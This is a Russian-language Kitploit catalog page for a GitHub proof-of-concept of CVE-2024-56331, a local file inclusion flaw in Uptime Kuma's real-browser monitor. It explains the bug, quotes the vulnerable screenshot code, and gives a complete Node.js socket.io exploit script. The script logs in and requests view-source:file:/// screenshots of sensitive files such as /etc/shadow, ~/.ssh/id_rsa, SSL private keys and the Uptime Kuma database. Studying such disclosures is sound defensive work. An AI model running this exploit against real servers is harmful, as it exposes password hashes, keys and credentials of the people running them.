Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-56331 — Эксплойт-доказательство концепции для CVE-2024-56331, демонстрирующий локальное включение файлов в Uptime Kuma через неправильную обработку URL в мониторе реального браузера. Использует протокол file:/// для захвата скриншотов конфиденциальных серверных файлов. | Kitploit
Инструменты/GitHubGitHub/griisemine/cve-2024-56331
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на ПроникновениеRed Teaming
GitHubgriisemine/cve-2024-56331

CVE-2024-56331

Эксплойт-доказательство концепции для CVE-2024-56331, демонстрирующий локальное включение файлов в Uptime Kuma через неправильную обработку URL в мониторе реального браузера. Использует протокол file:/// для захвата скриншотов конфиденциальных серверных файлов.

Репозиторий
121 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-56331 Uptime-Kuma : локальное включение файлов (LFI) из-за некорректной обработки URL в мониторе Real-Browser

Краткое описание

Уязвимость некорректной обработки URL позволяет злоумышленнику получить доступ к конфиденциальным локальным файлам на сервере, используя протокол file:///. Эта уязвимость срабатывает через тип запроса "real-browser", который делает скриншот URL, указанного злоумышленником. Подставляя локальные пути к файлам, например file:///etc/passwd, злоумышленник может прочитать конфиденциальные данные с сервера.

Подробности

Уязвимость возникает из-за того, что система не выполняет должную проверку и очистку пользовательского ввода в поле URL. В частности:

  1. Поле ввода URL (<input data-v-5f5c86d7="" id="url" type="url" class="form-control" pattern="https?://.+" required="">) позволяет пользователям указывать произвольные пути к файлам, включая пути с протоколом , без проверки на стороне сервера.

file:///
  • Затем сервер использует предоставленный пользователем URL для выполнения запроса, передавая его экземпляру браузера, который выполняет запрос "real-browser" и делает скриншот содержимого по указанному URL. Если введён локальный путь к файлу (например, file:///etc/passwd), браузер получает и захватывает содержимое этого файла.

  • root@kitploit:~
    const browser = await getBrowser();
    const context = await browser.newContext();
    const page = await context.newPage();
    
    const res = await page.goto(monitor.url, {
        waitUntil: "networkidle",
        timeout: monitor.interval * 1000 * 0.8,
    });
    
    let filename = jwt.sign(monitor.id, server.jwtSecret) + ".png";
    
    await page.screenshot({
        path: path.join(Database.screenshotDir, filename),
    });
    
    await context.close();
    

    Поскольку пользовательский ввод не проверяется, злоумышленник может изменить URL для запроса локальных файлов (например, file:///etc/passwd), и система сделает скриншот содержимого файла, что потенциально приведёт к раскрытию конфиденциальных данных.

    PoC

    1. Инструкции:
      • Введите локальный путь к файлу в качестве URL, например: view-source:file:///etc/passwd.
      • Сервер обработает URL и в режиме "real-browser" сделает скриншот содержимого файла.

    Пример PoC:

    1. Войдите в приложение с действительными учётными данными:
    root@kitploit:~
    const { io } = require("socket.io-client");
    
    // Server configuration and credentials
    const CONFIG = {
      serverUrl: "ws://localhost:3001",
      credentials: {
        username: "admin",
        password: "password1"
      },
      requestType: {
        REAL_BROWSER: "real-browser",
        HTTP: "http"
      },
      urlHeader: {
        VIEW_SOURCE: "view-source:file:///",
        FILE: "file:///"
      }
    };
    
    // List of sensitive files on a Linux system
    const SENSITIVE_FILES = [
      "/etc/passwd",
      "/etc/shadow",
      "/etc/hosts",
      "/etc/hostname",
      "/etc/network/interfaces", // May vary depending on the distribution
      "/etc/ssh/ssh_config",
      "/etc/ssh/sshd_config",
      "~/.ssh/authorized_keys",
      "~/.ssh/id_rsa",
      "/etc/ssl/private/*.key",
      "/etc/ssl/certs/*.crt",
      "/app/data/kuma.db", // Uptime Kuma database file
      "/app/data/config.json" // Uptime Kuma configuration file
    ];
    
    // Function to send a request and wait for the response
    function sendRequest(socket, filePath, type) {
      return new Promise((resolve, reject) => {
        fileUrl = CONFIG.urlHeader.VIEW_SOURCE + filePath;
        if (type == CONFIG.requestType.HTTP) {
          fileUrl = CONFIG.urlHeader.FILE + filePath;
        }
        socket.emit("add", {
          type: type,
          name: type + " " + filePath,
          url: fileUrl,
          method: "GET",
          maxretries: 0,
          timeout: 500,
          notificationIDList: {},
          ignoreTls: true,
          upsideDown: false,
          accepted_statuscodes: ["200-299"]
        }, (res) => {
          console.log(`Response for file ${filePath}:`, res);
          resolve();
        });
      });
    }
    
    // Main function for connecting and sending the 'add' request
    (async () => {
      const socket = io(CONFIG.serverUrl);
    
      // Handle connection errors
      socket.on("connect_error", (err) => {
        console.error("Connection failed:", err.message);
      });
    
      try {
        // Connecting with credentials
        await new Promise((resolve, reject) => {
          socket.emit("login", {
            username: CONFIG.credentials.username,
            password: CONFIG.credentials.password,
            token: ""
          }, (res) => {
            if (res.ok) {
              console.log("Connection successful");
              resolve();
            } else {
              console.log(res);
              reject(new Error("Connection failed"));
            }
          });
        });
    
        // Sending requests for each file using Promise.all to ensure synchronization
        const realBrowserRequests = SENSITIVE_FILES.map(filePath => sendRequest(socket, filePath, CONFIG.requestType.REAL_BROWSER));
    
        // Wait for all requests to be sent
        await Promise.all([...realBrowserRequests]);
    
        // Close the socket after all requests have been sent
        socket.close();
        console.log("Connection closed after all requests.");
    
      } catch (error) {
        console.error("Error:", error.message);
        socket.close();
      }
    })();
    

    Воздействие

    Эта уязвимость представляет собой проблему локального включения файлов (LFI), которая позволяет злоумышленнику получать доступ к конфиденциальным файлам на сервере и потенциально выгружать их. Воздействие является значительным, поскольку злоумышленники могут получить доступ к критически важным системным файлам или файлам конфигурации приложения, например:

    • /etc/passwd: содержит информацию об учётных записях пользователей.
    • /etc/shadow: содержит хеши паролей.
    • /app/data/kuma.db: содержит базу данных инструмента мониторинга Uptime Kuma.
    • /app/data/config.json: содержит учётные данные базы данных для Uptime Kuma.

    Любой аутентифицированный пользователь, который может отправлять URL в режиме "real-browser", подвергается риску раскрытия конфиденциальных данных через скриншоты этих файлов.

    Скачать инструмент